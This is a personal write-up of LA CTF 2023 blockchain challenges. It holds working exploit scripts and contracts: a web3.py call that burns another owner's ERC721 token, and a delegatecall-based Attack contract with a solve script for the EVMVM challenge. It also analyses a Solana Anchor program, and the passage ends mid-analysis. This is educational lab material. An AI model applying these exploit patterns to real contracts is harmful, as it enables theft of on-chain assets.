<-->

I participated in LA CTF 2023.

There are two solidity and one solana.

I put all efforts into solving blockchain challenges for 2 days.

One chall was solved and my thought were very closely intended solution but not solved. :sad:

 

However, regardless of the fact that I solved only one chall, I learnd a lot through this opportunity!

I want to share what I learned.


breakup

https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/breakup

 

 

Analysis

Setup.sol

contract Setup {
    Friend public immutable friend;
    SomebodyYouUsedToKnow public immutable somebodyYouUsedToKnow;

    constructor() {
        friend = new Friend();
        somebodyYouUsedToKnow = new SomebodyYouUsedToKnow(friend);
    }

    function isSolved() external view returns (bool) {
        uint256 totalFriends = friend.balanceOf(address(somebodyYouUsedToKnow)); // 0?
        if (totalFriends == 0) {
            return true;
        }

        bytes memory you = "You";
        for (uint256 i = 0; i < totalFriends; i++) {
            bytes memory thisNameBytes = bytes(
                friend.friendNames(friend.tokenOfOwnerByIndex(address(somebodyYouUsedToKnow), i))
            );
            if (you.length == thisNameBytes.length && keccak256(you) == keccak256(thisNameBytes)) {
                return false;
            }
        }

        return true;
    }
}

If we meet condition totalFriends == 0, we could get flag.

totalFriends == 0 means that the balance of somebodyYouUsedToKnow in friend contract is zero.

 

 

Friend.sol

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract Friend is ERC721Enumerable, Ownable {
    using Counters for Counters.Counter;

    Counters.Counter private _uuidCounter;
    mapping(uint256 => string) public friendNames;

    constructor() ERC721("Friend", "FRN") {}

    function safeMint(address to, string calldata name) public {
        _uuidCounter.increment();
        uint256 tokenId = _uuidCounter.current();
        _safeMint(to, tokenId);
        friendNames[tokenId] = name;
    }

    function burn(uint256 tokenId) public {
        _burn(tokenId);
        delete friendNames[tokenId];
    }
    ...
    ...

Friend inherited ERC721. Have you heard NFT? ERC721 is a implementation of NFT.

When we write contract by solidity, we usually use openzeppelin. It provides many interfaces, contracts, and utilities. 

 

 

Root Cause

In friend.sol, burn does not check caller == token owner.

So I am not token owner but I can burn anything!

 

 

Exploit

somebodyYouUsedToKnow has only 1 token and tokenID is 1. (by using balanceOf(), owernOf())

 

import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("https://breakup.lac.tf/774b5c90-e954-45d0-947c-e7b50f9b841c"))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = "0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695"

def burn(friend, tokenId: int):
    f = open('friend.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=friend, abi=abi)
    func_call = contract.functions["burn"](tokenId).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


SETUP = "0x28c6379a43411c26AbAB5b6F4171F17554e59fB3"
FRIEND = "0xb9f929C79A5120190f7715DA36c01d31d61b12eC"
SOMEBODY = "0xfBB4319f64f5460A0f7D68D2632136E4D1F6f5eD"

burn(FRIEND, 1)

how to get abi.txt

https://stackoverflow.com/questions/69269101/please-how-do-i-get-abi-of-my-token-after-deploying-on-bscmainet

 

 

lactf{s0m3_p30pl3_w4n7_t0_w4tch_th3_w0r1d_burn}

 


evmvm

https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/evmvm

Maybe you know there are many vm challenges in pwn and rev.

 

 

Analysis

Setup.sol

contract Setup {
    EVMVM public immutable metametaverse = new EVMVM();
    bool private solved = false;

    function solve() external {
        assert(msg.sender == address(metametaverse));
        solved = true;
    }

    function isSolved() external view returns (bool) {
        return solved;
    }
}

When metametaverse call solve(), we could get flag.

 

EVMMM.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

// YES I FINALLY GOT MY METAMETAVERSE TO WORK - Arc'blroth
contract EVMVM {
    uint[] private stack;

    // executes a single opcode on the metametaverse™
    // TODO(arc) implement the last few opcodes
    function enterTheMetametaverse(bytes32 opcode, bytes32 arg) external {
        assembly {
            // declare yul bindings for the stack
            // apparently you can only call yul functions from yul :sob:
            // https://ethereum.stackexchange.com/questions/126609/calling-functions-using-inline-assembly-yul

            function spush(data) {
                let index := sload(0x00)
                let stackSlot := 0x00
                sstore(add(keccak256(stackSlot, 0x20), index), data)
                sstore(0x00, add(index, 1))
            }

            function spop() -> out {
                let index := sub(sload(0x00), 1)
                let stackSlot := 0x00
                out := sload(add(keccak256(stackSlot, 0x20), index))
                sstore(add(keccak256(stackSlot, 0x20), index), 0) // zero out the popped memory
                sstore(0x00, index)
            }

            // opcode reference: https://www.evm.codes/?fork=merge
            switch opcode
                case 0x00 { // STOP
                    // lmfao you literally just wasted gas
                }
                case 0x01 { // ADD
                    spush(add(spop(), spop()))
                }
                case 0x02 { // MUL
                    spush(mul(spop(), spop()))
                }
                case 0x03 { // SUB
                    spush(sub(spop(), spop()))
                }
                case 0x04 { // DIV
                    spush(div(spop(), spop()))
                }
                case 0x05 { // SDIV
                    spush(sdiv(spop(), spop()))
                }
                case 0x06 { // MOD
                    spush(mod(spop(), spop()))
                }
                case 0x07 { // SMOD
                    spush(smod(spop(), spop()))
                }
                case 0x08 { // ADDMOD
                    spush(addmod(spop(), spop(), spop()))
                }
                case 0x09 { // MULMOD
                    spush(mulmod(spop(), spop(), spop()))
                }
                case 0x0A { // EXP
                    spush(exp(spop(), spop()))
                }
                case 0x0B { // SIGNEXTEND
                    spush(signextend(spop(), spop()))
                }
                case 0x10 { // LT
                    spush(lt(spop(), spop()))
                }
                case 0x11 { // GT
                    spush(gt(spop(), spop()))
                }
                case 0x12 { // SLT
                    spush(slt(spop(), spop()))
                }
                case 0x13 { // SGT
                    spush(sgt(spop(), spop()))
                }
                case 0x14 { // EQ
                    spush(eq(spop(), spop()))
                }
                case 0x15 { // ISZERO
                    spush(iszero(spop()))
                }
                case 0x16 { // AND
                    spush(and(spop(), spop()))
                }
                case 0x17 { // OR
                    spush(or(spop(), spop()))
                }
                case 0x18 { // XOR
                    spush(xor(spop(), spop()))
                }
                case 0x19 { // NOT
                    spush(not(spop()))
                }
                case 0x1A { // BYTE
                    spush(byte(spop(), spop()))
                }
                case 0x1B { // SHL
                    spush(shl(spop(), spop()))
                }
                case 0x1C { // SHR
                    spush(shr(spop(), spop()))
                }
                case 0x1D { // SAR
                    spush(sar(spop(), spop()))
                }
                case 0x20 { // SHA3
                    spush(keccak256(spop(), spop()))
                }
                case 0x30 { // ADDRESS
                    spush(address())
                }
                case 0x31 { // BALANCE
                    spush(balance(spop()))
                }
                case 0x32 { // ORIGIN
                    spush(origin())
                }
                case 0x33 { // CALLER
                    spush(caller())
                }
                case 0x34 { // CALLVALUE
                    spush(callvalue())
                }
                case 0x35 { // CALLDATALOAD
                    spush(calldataload(spop()))
                }
                case 0x36 { // CALLDATASIZE
                    spush(calldatasize())
                }
                case 0x37 { // CALLDATACOPY
                    calldatacopy(spop(), spop(), spop())
                }
                case 0x38 { // CODESIZE
                    spush(codesize())
                }
                case 0x3A { // GASPRICE
                    spush(gasprice())
                }
                case 0x3B { // EXTCODESIZE
                    spush(extcodesize(spop()))
                }
                case 0x3C { // EXTCODECOPY
                    extcodecopy(spop(), spop(), spop(), spop())
                }
                case 0x3D { // RETURNDATASIZE
                    spush(returndatasize())
                }
                case 0x3E { // RETURNDATACOPY
                    returndatacopy(spop(), spop(), spop())
                }
                case 0x3F { // EXTCODEHASH
                    spush(extcodehash(spop()))
                }
                case 0x40 { // BLOCKHASH
                    spush(blockhash(spop()))
                }
                case 0x41 { // COINBASE (sponsored opcode)
                    spush(coinbase())
                }
                case 0x42 { // TIMESTAMP
                    spush(timestamp())
                }
                case 0x43 { // NUMBER
                    spush(number())
                }
                case 0x44 { // PREVRANDAO
                    spush(difficulty())
                }
                case 0x45 { // GASLIMIT
                    spush(gaslimit())
                }
                case 0x46 { // CHAINID
                    spush(chainid())
                }
                case 0x47 { // SELBALANCE
                    spush(selfbalance())
                }
                case 0x48 { // BASEFEE
                    spush(basefee())
                }
                case 0x50 { // POP
                    pop(spop())
                }
                case 0x51 { // MLOAD
                    spush(mload(spop()))
                }
                case 0x52 { // MSTORE
                    mstore(spop(), spop())
                }
                case 0x53 { // MSTORE8
                    mstore8(spop(), spop())
                }
                case 0x54 { // SLOAD
                    spush(sload(spop()))
                }
                case 0x55 { // SSTORE
                    sstore(spop(), spop())
                }
                case 0x59 { // MSIZE
                    spush(msize())
                }
                case 0x5A { // GAS
                    spush(gas())
                }
                case 0x80 { // DUP1
                    let val := spop()
                    spush(val)
                    spush(val)
                }
                case 0x91 { // SWAP1
                    let a := spop()
                    let b := spop()
                    spush(a)
                    spush(b)
                }
                case 0xF0 { // CREATE
                    spush(create(spop(), spop(), spop()))
                }
                case 0xF1 { // CALL
                    spush(call(spop(), spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xF2 { // CALLCODE
                    spush(callcode(spop(), spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xF3 { // RETURN
                    return(spop(), spop())
                }
                case 0xF4 { // DELEGATECALL
                    spush(delegatecall(spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xF5 { // CREATE2
                    spush(create2(spop(), spop(), spop(), spop()))
                }
                case 0xFA { // STATICCALL
                    spush(staticcall(spop(), spop(), spop(), spop(), spop(), spop()))
                }
                case 0xFD { // REVERT
                    revert(spop(), spop())
                }
                case 0xFE { // INVALID
                    invalid()
                }
                case 0xFF { // SELFDESTRUCT
                    selfdestruct(spop())
                }
        }
    }

    fallback() payable external {
        revert("sus");
    }

    receive() payable external {
        revert("we are a cashless institution");
    }
}

 

I had know that we could use assembly, yul in solidity but not detailed.

https://docs.soliditylang.org/en/v0.8.17/assembly.html

https://docs.soliditylang.org/en/v0.8.17/yul.html#yul

 

enterTheMetametaverse() handle opcode and the storage of contract is the stack of vm.

By looking into spush() and spop(), we could know that storage slot 0 has stack size, storage slot more than 1 has stack item.

 

As mentioned, we should call solve() of Setup.sol. 

Thus I thought that first I push arguemnts of call and call solve().

 

But there is a problem...

https://www.evm.codes/#f1?fork=merge 

 

call(gas, address, value, argsOffset, argsSize, retOffset, retSize)

gas: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.
address: the account which context to execute.
value: value in wei to send to the account.
argsOffset: byte offset in the memory in bytes, the calldata of the sub context.
argsSize: byte size to copy (size of the calldata).
retOffset: byte offset in the memory in bytes, where to store the return data of the sub context.
retSize: byte size to copy (size of the return data).

 

call() uses memory of evm because calldata is copied from caller's memory.

The structure of calldata is function signature (4bytes) || arg1 || padding(exists or not) || arg2 || ...

 

I wonder how function which does not have argument received argumnet.

It ignores arguments

 

Thus, I believe that I store function signature of solve() by using mstore(0x80, sig).

call(gas(), address of setup.sol, 0, 0x80, 0x4, 0, 0)

I tried this again and again... it failed.


 

Acutally, author commented enterTheMetametaverse() about in EVMVM.sol.

 

    // executes a single opcode on the metametaverse™
    // TODO(arc) implement the last few opcodes
 

It just executes single opcode!

That is, it means that every time evm enter this function, its memory is fresh!!!

The moment I realized this, my mental is breakdown. :laugh:

 

https://betterprogramming.pub/solidity-tutorial-all-about-memory-1e1696d71ee4

 

Under memory is reused and not initzialized like C, I tried solving this chall.

But it is wrong.

 

Do you know answer of following quiz?

 

If we call quiz(1), what does storage variable 'x' store?

contract Quiz{
    uint public x;

    function quiz(uint select) public {
        if(select == 1) {
            assembly {
                mstore(0x80, 123456)
            }
            quiz(0);
        }
        else {
            assembly {
                let y := mload(0x80)
                sstore(0, y)
            }
        }
    }
}

The answer is 123456.

 

 

Next, If we call quiz2(External contract's addr, 1), what does storage variable 'x' store?

contract External{
    Quiz2 q2;
    
    constructor(address _quiz2) {
        q2 = Quiz2(_quiz2);
    }
    
    function reenter() public {
        q2.quiz2(address(0), 0);
    }
}

contract Quiz2{
    uint public x;

    function quiz2(address _external, uint select) public {
        if(select == 1) {
            assembly {
                mstore(0x80, 123456)
            }
            _external.call(abi.encodeWithSignature("reenter"));
        }
        else {
            assembly {
                let y := mload(0x80)
                sstore(0, y)
            }
        }
    }
}

The answer is 0.

 

 

https://docs.soliditylang.org/en/v0.8.17/control-structures.html#internal-function-calls

https://docs.soliditylang.org/en/v0.8.17/control-structures.html#external-function-calls

 Being called "internal" simple jumps inside the EVM. This has the effect that the current memory is not cleared
 Being called “externally”, using a message call and not directly via jumps.

 

To execute single opcode, we continuously do "external" call.

Though of mload(0x80, sig), 0x80 of memory address does not sustain sig unitl call(gas(), address of setup.sol, 0, 0x40, 0x4, 0, 0).

 


If function signature of calldata is not found in contract,  fallback() would handle this problem.

According to what I've said as far, we could call fallback() because we cannot set function signature of calldata.

 

Therefore delegatecall will be answer!.

 

call vs delegatecall

delegatecall does not change context.

so msg.sender, storage is equal to previous context.

 

Let A, B, C be contract.

when A >(call) B >(call) C

In context of B, msg.sender is A.

In context of C, msg.sender is B.

 

when A >(call) B >(delegatecall) C

In context of B, msg.sender is A.

In context of C, msg.sender is A.

 

when A >(delegatecall) B >(call) C

In context of B, msg.sender is A's caller.

In context of C, msg.sender is A.

 

when A >(delegatecall) B >(delegatecall) C

In context of B, msg.sender is A's caller.

In context of C, msg.sender is A's caller.

 

Is it interesting?

 

when A >(delegatecall) B >(delegatecall) C >(call) D

In context of D, who is msg.sender?

Answer is A.

https://gist.github.com/kangsangsoo/fd73e98dbcb442a18a76f1f3a79b3134

 

Finally,

when A >(delegatecall) B >(delegatecall) C >(call) D >(call) E

In context of E, who is msg.sender?

Answer is D.

https://gist.github.com/kangsangsoo/0b66508f84a975f066c34cd594e40147

 

If you want to deep dive, https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy-a5f

 

 

Return to subject,

 

We are approaching in.

EOA >(call) EVMVM >(call) SETUP. 

But we can call not SETUP's solve() but SETUP's fallback().

 

In following sequence, we can call SETUP's solve() is true and msg.sender == EVMVM in solve() is true

EOA >(call) EVMVM >(delegatecall) MY CONTRACT >(call) SETUP

 

So MY CONTRACT must have fallback().

The fallback() must containe SETUP.solve().

 

It's about all.

 

 

 

Solve

This chall's category is still VM. So how to push and pop what I want is also important.

 

To do

https://www.evm.codes/#f4?fork=merge 

 

delegatecall(gas, address, argsOffset, argsSize, retOffest, retSize)

gas: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.
address: the account which code to execute.
argsOffset: byte offset in the memory in bytes, the calldata of the sub context.
argsSize: byte size to copy (size of the calldata).
retOffset: byte offset in the memory in bytes, where to store the return data of the sub context.
retSize: byte size to copy (size of the return data).

 

We construct delegatecall(gas(), MYCONTRACT's addr, 0, 0, 0, 0)

case 0xF4 { // DELEGATECALL
    spush(delegatecall(spop(), spop(), spop(), spop(), spop(), spop()))
}

As solidity calling convention, it follows left to right.

So in func(arg1(), arg2(), arg3()), arg1() , we can understand arg1() > arg2() > arg3() > func().

https://gist.github.com/kangsangsoo/83406acd8a1e3f0978a52bb03cc894e4

 

But, in assembly {} right to left. i.e.  arg3() > arg2() > arg1() > func(). .. why?

https://gist.github.com/kangsangsoo/d6002f0ed37f9158e97e577d08f0c89e

I recommend remix debugger!

 

 

Because it uses stack, 

 

(Top)

0

0

0

0

addr

gas    

-------------------

(Bottom)

 

We have many many ether. 

The environment of chall has chainid = 1. I set base number 1 by using chainid().

There are arithmetic opcodes so we can make any number.

case 0x01 { // ADD
    spush(add(spop(), spop()))
}
case 0x02 { // MUL
    spush(mul(spop(), spop()))
}
case 0x03 { // SUB
    spush(sub(spop(), spop()))
}

 

Or

 

I think that author intended we use calldataload() because enterTheMetametaverse has arg whose type is bytes32.

 

function enterTheMetametaverse(bytes32 opcode, bytes32 arg) external {
case 0x35 { // CALLDATALOAD
    spush(calldataload(spop()))
}

 

As mentioned above, calldata's structure looks like

func signature(4-byte) || arg1 || padding(if arg1's length is not 32-byte) || arg2 || pading || ...

 

https://www.evm.codes/#35?fork=merge 

 

calldataload(idx) returns calldata[idx:idx+32].

If we call calldataload(36), output is arg and it is pushed top of stack.

 

The size of storage slot is 32-byte.

i.e. the size of stack item is 32-byte is equal arg's size. 

 

If you do not understand following sequence, follow stey by step.

 

gas   # push block.number to top of stack (big enough)

 

# to construct 36

# 36 = 4 * 9

# 36 = 2 * 2 * 3 * 3

chainid()   # 1

chainid()   # 1

add()   # 1 + 1 =2

dup()   # 2 2

chainid()   # 1

chainid()   # 1

chainid()   # 1

add()   # 1 + 1= 2

add()   # 1 + 2 = 3

dup()   # 3 3

mul()   # 3 * 3 = 9

mul()   # 2 * 9 = 18

mul()   # 2 * 18 = 36

calldataload()   # calldataload(36) 

 

# to construct 0, 0, 0, 0

chainid()   # 1

chainid()   # 1

sub()    # 1 - 1 = 0, top of stack is zero

dup()   # two zero

dup()   # three zero

dup()   # four zero

 

# finish setting

delegatecall()    

 


Although return value of delegatecall() is 1, solved of Setup contract is still zero.

The problem is that the my_contract was created incorrectly.

 

Can you find my flaw?

 

my_contract.sol

contract Attack {
    address public setup;

    constructor(address _setup) {
        setup = _setup;
    }

    fallback() external {
        setup.call(abi.encodeWithSignature("solve()"));
    }
}

 

We enter in my_contract.sol by delegatecall() from EVMVM.sol 

Therefore, storage is not changed and 'setup' variable is not Setup.sol address.

It is storage slot 0 of EVMVM.sol.

 

To avoid this problem, we hardcode setup address!

In my case, I use imuutable keyword. It is not stored storage.

 

imuutable

https://ethereum.stackexchange.com/questions/82240/what-is-the-immutable-keyword-in-solidity

 

 

my_contract.sol

contract Attack {
    address immutable public setup;

    constructor(address _setup) {
        setup = _setup;
    }

    fallback() external {
        setup.call(abi.encodeWithSignature("solve()"));
    }
}

 

 

solve.py

import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider("https://evmvm.lac.tf/f9c5c1f5-da4c-4937-8c6f-866f6ca2bb8d"))

#Check Connection
t=w3.isConnected()
print(t)

# Get env
prikey = '0x416f3a4385aa760711c66e58b5d1b107c5d32da84ee822822894db3338ce1fbb'
METAMETAVERSE= "0x59862b91B86915F63875Cb678919a4ea0f300cDF"
SETUP = "0xCbC0618109baEFc534e440D016F004c8f6Dee401"
MY_CONTRACT = ""

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address


# if you want to debug
def view_stack():
    stack_size = bytes_to_long(w3.eth.get_storage_at(METAMETAVERSE, 0))

    print("stack size: " + hex(stack_size))
    for i in range(stack_size):
        res = w3.eth.get_storage_at(METAMETAVERSE, 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 + i)
        print(hex(i) + ": " + str(res))

def deploy_my_contract():
    f = open("attack_abi", "r"); contract_abi= f.read(); f.close()
    f = open("attack_bytecode", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(SETUP).buildTransaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": Public_Address,
            "nonce": w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
    return str(transaction_receipt.contractAddress)

def enterTheMetametaverse(EVMVM, opcode, arg):
    f = open('evmvm.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=EVMVM, abi=abi)
    func_call = contract.functions["enterTheMetametaverse"](opcode, arg).buildTransaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def push_chainid():
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x46", b"\x00"*32)

def add_top():
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x01", b"\x00"*32)

def sub_top():
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x03", b"\x00"*32)

def dup_top():
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x80", b"\x00"*32)

def mul_top():
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x02", b"\x00"*32)

def push_gas():
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x43", b"\x00"*32) # block number

def delegatecall():
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\xF4", b"\x00"*32)

def calldataload(arg):
    enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x35", arg)

push_gas()

push_chainid()
push_chainid()
add_top()
dup_top()
push_chainid()
push_chainid()
push_chainid()
add_top()
add_top()
dup_top()
mul_top()
mul_top()
mul_top()

my_contract_addr = deploy_my_contract()
my_contract_addr = long_to_bytes(int(my_contract_addr, 16))
calldataload(my_contract_addr.rjust(32, b"\x00"))

push_chainid()
push_chainid()
sub_top()
dup_top()
dup_top()
dup_top()

view_stack() # debug
delegatecall()
view_stack() # debug

 

 

lactf{yul_hav3_a_bad_t1me_0n_th3_m3tam3tavers3}

 

 

 


sailor

https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/sailor

 

 

I found a way to get a flag with twice function call. 

Recent solana challs were made with sol-ctf-framework. 
I had never solved a solana chall with python until I saw this problem. 
So I did not know how to call twice. :sad:

Therefore I believed that author intended it is solved by only one function call. :laugh:
As a reuslt, I did not find solution...

 

Analysis

.
├── chall
│   ├── Cargo.lock
│   ├── Cargo.toml
│   └── src
│       └── lib.rs
├── server
│   ├── Cargo.lock
│   ├── Cargo.toml
│   └── src
│       └── main.rs
├── solve.py

├── Dockerfile
└── sailor.so

4 directories, 9 files

 

sailor.so is compile from chall.

 

 

main.rs

It contains setting environment of ctf framework. 

https://github.com/otter-sec/sol-ctf-framework

 

What we have to is focusing on handle_connection().

 

fn handle_connection(socket: &mut TcpStream) -> Result<(), Box<dyn Error>> {
    let mut builder = ChallengeBuilder::try_from(socket.try_clone()?)?;

    let mut rng = StdRng::from_seed([42; 32]);

    // put program at a fixed pubkey to make anchor happy
    let prog = Keypair::generate(&mut rng);

    // load programs
    let solve_pubkey = builder.input_program()?;
    builder.builder.add_program(prog.pubkey(), "sailor.so");

 

First, it constructs ChalengeBuilder for challenge andit generate fixed program public key.

Then, it sets challenge environment by reading program.

"read" here means reading the compiled .so file.

 

 

    // make user
    let user = Keypair::new();
    let rich_boi = Keypair::new();
    let (vault, _) = Pubkey::find_program_address(&[b"vault"], &prog.pubkey());
    let (sailor_union, _) =
        Pubkey::find_program_address(&[b"union", rich_boi.pubkey().as_ref()], &prog.pubkey());

    writeln!(socket, "program: {}", prog.pubkey())?;
    writeln!(socket, "user: {}", user.pubkey())?;
    writeln!(socket, "vault: {}", vault)?;
    writeln!(socket, "sailor union: {}", sailor_union)?;
    writeln!(socket, "rich boi: {}", rich_boi.pubkey())?;
    writeln!(socket, "system program: {}", system_program::id())?;

 

Next, some accounts is created for challenge and is sent by writeln! for user.

 

Keypair::new() generate randomly public key. 

https://docs.rs/solana-sdk/latest/solana_sdk/signer/keypair/struct.Keypair.html#method.new

 

Pubkey::find_program_address() is very important concept in Solana.

https://docs.rs/solana-program/latest/solana_program/pubkey/struct.Pubkey.html#method.find_program_address

 

 

 

    // add accounts and lamports
    const TARGET_AMT: u64 = 100_000_000;
    const INIT_BAL: u64 = 1337;
    const TOTAL_BAL: u64 = 1_000_000_000;
    const VAULT_BAL: u64 = 500_000_000;

    builder
        .builder
        .add_account_with_lamports(vault, system_program::id(), INIT_BAL)
        .add_account_with_lamports(rich_boi.pubkey(), system_program::id(), TOTAL_BAL)
        .add_account_with_lamports(user.pubkey(), system_program::id(), INIT_BAL);

    let mut challenge = builder.build();

 

lamport is similar to Ethereum's wei. 1 lamport = 0.000000001 SOL and they are consumed like gas.

So challenge initiallzes that

vault := 1337,

rich_boi := 1_000_000_000,

user := 1337

then, enviornment setting and initialization ends.

 

 

    let mut create_instruction = vec![190, 65, 164, 249, 61, 177, 154, 181];
    create_instruction.extend(CreateUnion { bal: VAULT_BAL }.try_to_vec()?);

    challenge.env.execute_as_transaction(
        &[Instruction::new_with_bytes(
            prog.pubkey(),
            &create_instruction,
            vec![
                AccountMeta::new(sailor_union, false),
                AccountMeta::new(rich_boi.pubkey(), true),
                AccountMeta::new(vault, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
        )],
        &[&rich_boi],
    );

 

What is create_instruction?

It is similiar to function signature in Solidity.

https://solana.stackexchange.com/questions/3135/how-do-you-find-a-matching-idl-instruction-using-the-anchor-instruction-discrimi

https://solana.stackexchange.com/questions/5716/anchor-how-to-know-instruction-number-without-having-to-run-cargo-expand

sha256({namespace:method name)[:8]. 

 

The instruction is made of [function signature] + [args].

So Anchor handle program process by signature.

 

In one word, it just call create_union() in lib.rs.

 

 

    // run solve
    challenge.input_instruction(solve_pubkey, &[&user])?;

    // check solve
    let balance = challenge
        .env
        .get_account(user.pubkey())
        .ok_or("could not find user")?
        .lamports;
    writeln!(socket, "lamports: {:?}", balance)?;

    if balance > TARGET_AMT {
        let flag = fs::read_to_string("flag.txt")?;
        writeln!(
            socket,
            "You successfully exploited the working class and stole their union dues! Congratulations!\nFlag: {}",
            flag.trim()
        )?;
    } else {
        writeln!(socket, "That's not enough to get the flag!")?;
    }

 

Finally, it receive user inputs by input_instruction() and execute them.

https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L109(to understand solve.py)

And if user's balance > TARGET_AMT, we could get flag!

 

 

lib.rs

In order to solve this chall, we would use functions in lib.rs 

 

fn transfer<'a>(
    from: &AccountInfo<'a>,
    to: &AccountInfo<'a>,
    amt: u64,
    signers: &[&[&[u8]]],
) -> Result<()> {
    if from.lamports() >= amt {
        invoke_signed(
            &system_instruction::transfer(from.key, to.key, amt),
            &[from.clone(), to.clone()],
            signers,
        )?;
    }
    Ok(())
}

It implements transfer(from, to, amount).

 

 

#[program]
mod sailor {
    use super::*;    
    pub fn create_union(ctx: Context<CreateUnion>, bal: u64) -> Result<()> {
        msg!("creating union {}", bal);

        if ctx.accounts.authority.lamports() >= bal {
            transfer(&ctx.accounts.authority, &ctx.accounts.vault, bal, &[])?;
            // initial balance isn't available because I said so
            ctx.accounts.sailor_union.available_funds = 0;
            ctx.accounts.sailor_union.authority = ctx.accounts.authority.key();
            Ok(())
        } else {
            msg!(
                "insufficient funds, have {} but need {}",
                ctx.accounts.authority.lamports(),
                bal
            );
            Err(ProgramError::InsufficientFunds.into())
        }
    }

 

#[derive(Accounts)]
pub struct CreateUnion<'info> {
    #[account(
        init,
        payer = authority,
        space = 8 + std::mem::size_of::<SailorUnion>(),
        seeds = [b"union", authority.key.as_ref()],
        bump
    )]
    sailor_union: Account<'info, SailorUnion>,
    #[account(mut)]
    authority: Signer<'info>,
    #[account(mut, seeds = [b"vault"], bump)]
    vault: SystemAccount<'info>,
    system_program: Program<'info, System>,
}
#[account]
pub struct SailorUnion {
    available_funds: u64,
    authority: Pubkey,
}

 

create_union() register for sailor_union's information that what authority, vault and system_program.

In this process, authority pay some lamports to vault but available_funds is set by zero.

 

 

 

    pub fn pay_dues(ctx: Context<PayDues>, amt: u64) -> Result<()> {
        msg!("paying dues {}", amt);

        if ctx.accounts.member.lamports() >= amt {
            ctx.accounts.sailor_union.available_funds += amt;
            transfer(&ctx.accounts.authority, &ctx.accounts.vault, amt, &[])?;
            Ok(())
        } else {
            msg!(
                "insufficient funds, have {} but need {}",
                ctx.accounts.member.lamports(),
                amt
            );
            Err(ProgramError::InsufficientFunds.into())
        }
    }

 

#[derive(Accounts)]
pub struct PayDues<'info> {
    #[account(mut)]
    sailor_union: Account<'info, SailorUnion>,
    member: SystemAccount<'info>,
    #[account(mut)]
    authority: Signer<'info>,
    #[account(mut, seeds = [b"vault"], bump)]
    vault: SystemAccount<'info>,
    system_program: Program<'info, System>,
}

 

pay_dues() make authority pay some lamports to vault.

 

 

 

    pub fn strike_pay(ctx: Context<StrikePay>, amt: u64) -> Result<()> {
        msg!("strike pay {}", amt);

        let (_, vault_bump) = Pubkey::find_program_address(&[b"vault"], &ID);

        if ctx.accounts.sailor_union.available_funds >= amt {
            ctx.accounts.sailor_union.available_funds -= amt;
            transfer(
                &ctx.accounts.vault,
                &ctx.accounts.member,
                amt,
                &[&[b"vault", &[vault_bump]]],
            )?;
            Ok(())
        } else {
            msg!(
                "insufficient funds, have {} but need {}",
                ctx.accounts.sailor_union.available_funds,
                amt
            );
            Err(ProgramError::InsufficientFunds.into())
        }
    }

 

#[derive(Accounts)]
pub struct StrikePay<'info> {
    #[account(mut)]
    sailor_union: Account<'info, SailorUnion>,
